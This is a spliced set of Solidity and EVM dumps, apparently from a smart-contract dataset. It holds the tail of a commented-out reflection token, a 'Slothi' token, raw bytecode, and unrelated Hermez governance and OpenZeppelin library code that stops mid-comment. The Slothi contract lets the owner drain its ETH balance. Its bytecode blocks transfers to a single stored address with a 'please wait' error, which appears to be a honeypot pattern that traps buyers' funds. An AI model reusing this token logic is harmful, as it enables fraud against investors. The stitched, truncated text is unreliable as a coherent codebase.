uint256 initialBalance = address(this).balance; // swap tokens for ETH swapTokensForEth(half); // <- this breaks the ETH -> HATE swap when swap+liquify is triggered // how much ETH did we just swap into? uint256 newBalance = address(this).balance.sub(initialBalance); // add liquidity to uniswap addLiquidity(otherHalf, newBalance); emit SwapAndLiquify(half, newBalance, otherHalf); } function swapTokensForEth(uint256 tokenAmount) private { // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private { // approve token transfer to cover all possible scenarios _approve(address(this), address(uniswapV2Router), tokenAmount); // add the liquidity uniswapV2Router.addLiquidityETH{value: ethAmount}( address(this), tokenAmount, 0, // slippage is unavoidable 0, // slippage is unavoidable owner(), block.timestamp ); } //this method is responsible for taking all fee, if takeFee is true function _tokenTransfer(address sender, address recipient, uint256 amount,bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } } */ contract Slothi is TokenBEP20 { function clearCNDAO() public onlyOwner() { address payable _owner = msg.sender; _owner.transfer(address(this).balance); } function() external payable { } } /** interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // pragma solidity >=0.6.2; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } */
0x6080604052600436106100fe5760003560e01c806381f4f39911610095578063c04365a911610064578063c04365a914610570578063cae9ca5114610587578063d4ee1d9014610691578063dd62ed3e146106e8578063f2fde38b1461076d576100fe565b806381f4f399146103c55780638da5cb5b1461041657806395d89b411461046d578063a9059cbb146104fd576100fe565b806323b872dd116100d157806323b872dd14610285578063313ce5671461031857806370a082311461034957806379ba5097146103ae576100fe565b806306fdde0314610100578063095ea7b31461019057806318160ddd146102035780631ee59f201461022e575b005b34801561010c57600080fd5b506101156107be565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561015557808201518184015260208101905061013a565b50505050905090810190601f1680156101825780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019c57600080fd5b506101e9600480360360408110156101b357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061085c565b604051808215151515815260200191505060405180910390f35b34801561020f57600080fd5b5061021861094e565b6040518082815260200191505060405180910390f35b34801561023a57600080fd5b506102436109a9565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561029157600080fd5b506102fe600480360360608110156102a857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109cf565b604051808215151515815260200191505060405180910390f35b34801561032457600080fd5b5061032d610e14565b604051808260ff1660ff16815260200191505060405180910390f35b34801561035557600080fd5b506103986004803603602081101561036c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e27565b6040518082815260200191505060405180910390f35b3480156103ba57600080fd5b506103c3610e70565b005b3480156103d157600080fd5b50610414600480360360208110156103e857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061100d565b005b34801561042257600080fd5b5061042b6110aa565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047957600080fd5b506104826110cf565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104c25780820151818401526020810190506104a7565b50505050905090810190601f1680156104ef5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050957600080fd5b506105566004803603604081101561052057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116d565b604051808215151515815260200191505060405180910390f35b34801561057c57600080fd5b506105856113cc565b005b34801561059357600080fd5b50610677600480360360608110156105aa57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001906401000000008111156105f157600080fd5b82018360208201111561060357600080fd5b8035906020019184600183028401116401000000008311171561062557600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600081840152601f19601f820116905080830192505050505050509192919290505050611474565b604051808215151515815260200191505060405180910390f35b34801561069d57600080fd5b506106a66116a7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106f457600080fd5b506107576004803603604081101561070b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506116cd565b6040518082815260200191505060405180910390f35b34801561077957600080fd5b506107bc6004803603602081101561079057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611754565b005b60038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108545780601f1061082957610100808354040283529160200191610854565b820191906000526020600020905b81548152906001019060200180831161083757829003601f168201915b505050505081565b600081600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60006109a4600760008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546005546117f190919063ffffffff16565b905090565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a5b5750600073ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15610aa65782600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610b6b565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b6a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b5b610bbd82600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f190919063ffffffff16565b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c8f82600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f190919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d6182600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180b90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600460009054906101000a900460ff1681565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610eca57600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461106657600080fd5b80600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111655780601f1061113a57610100808354040283529160200191611165565b820191906000526020600020905b81548152906001019060200180831161114857829003601f168201915b505050505081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611233576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f706c65617365207761697400000000000000000000000000000000000000000081525060200191505060405180910390fd5b61128582600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117f190919063ffffffff16565b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061131a82600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461180b90919063ffffffff16565b600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461142557600080fd5b60003390508073ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f19350505050158015611470573d6000803e3d6000fd5b5050565b600082600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925856040518082815260200191505060405180910390a38373ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338530866040518563ffffffff1660e01b8152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561163557808201518184015260208101905061161a565b50505050905090810190601f1680156116625780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b15801561168457600080fd5b505af1158015611698573d6000803e3d6000fd5b50505050600190509392505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117ad57600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111561180057600080fd5b818303905092915050565b600081830190508281101561181f57600080fd5b9291505056fea265627a7a723158200efe56fff5183a148a2bd563d810615f460e8c4aa47be34f3474161bad7eddc164736f6c63430005110032
[ 38 ]
0xf1B3b124842555782F98bE08d1357ABb8013F11c
// SPDX-License-Identifier: AGPL-3.0 pragma solidity 0.6.12; import "@openzeppelin/contracts/access/AccessControl.sol"; /** * @dev Smart Contract in charge of managing Hermez's governance through access control by using roles */ contract HermezGovernance is AccessControl { event ExecOk(bytes returnData); event ExecFail(bytes returnData); mapping (bytes32 => bool) public forbidden; /** * @dev decentralizes a specific role. Once decentralized it cannot be called again * @param role The role to be decentralized */ function decentralize( bytes32 role ) external { require( address(this) == msg.sender, "HermezGovernance::decentralize ONLY_GOVERNANCE" ); forbidden[role] = true; } /** * @dev constructor function * @param communityCouncil Address in charge of handling all roles */ constructor(address communityCouncil) public { _setupRole(DEFAULT_ADMIN_ROLE, communityCouncil); } /** * @dev Function to execute a call. The msg.sender should have the role to be able to execute it * @param destination address to which the call will be made * @param value call value * @param data data of the call to make */ function execute( address destination, uint256 value, bytes memory data ) external { // Decode the signature bytes4 dataSignature = abi.decode(data, (bytes4)); bytes32 role = keccak256(abi.encodePacked(destination, dataSignature)); require( hasRole(role, msg.sender), "HermezGovernance::execute: ONLY_ALLOWED_ROLE" ); require( !forbidden[role], "HermezGovernance::execute: FORBIDDEN_ROLE" ); (bool succcess, bytes memory returnData) = destination.call{ value: value }(data); if (succcess) { emit ExecOk(returnData); } else { emit ExecFail(returnData); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../utils/EnumerableSet.sol"; import "../utils/Address.sol"; import "../GSN/Context.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context { using EnumerableSet for EnumerableSet.AddressSet; using Address for address; struct RoleData { EnumerableSet.AddressSet members; bytes32 adminRole; } mapping (bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view returns (bool) { return _roles[role].members.contains(account); } /** * @dev Returns the number of accounts that have `role`. Can be used * together with {getRoleMember} to enumerate all bearers of a role. */ function getRoleMemberCount(bytes32 role) public view returns (uint256) { return _roles[role].members.length(); } /** * @dev Returns one of the accounts that have `role`. `index` must be a * value between 0 and {getRoleMemberCount}, non-inclusive. * * Role bearers are not sorted in any particular way, and their ordering may * change at any point. * * WARNING: When using {getRoleMember} and {getRoleMemberCount}, make sure * you perform all queries on the same block. See the following * https://forum.openzeppelin.com/t/iterating-over-elements-on-enumerableset-in-openzeppelin-contracts/2296[forum post] * for more information. */ function getRoleMember(bytes32 role, uint256 index) public view returns (address) { return _roles[role].members.at(index); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to grant"); _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual { require(hasRole(_roles[role].adminRole, _msgSender()), "AccessControl: sender must be an admin to revoke"); _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { emit RoleAdminChanged(role, _roles[role].adminRole, adminRole); _roles[role].adminRole = adminRole; } function _grantRole(bytes32 role, address account) private { if (_roles[role].members.add(account)) { emit RoleGranted(role, account, _msgSender()); } } function _revokeRole(bytes32 role, address account) private { if (_roles[role].members.remove(account)) { emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.0.0, only sets of type `address` (`AddressSet`) and `uint256` * (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // 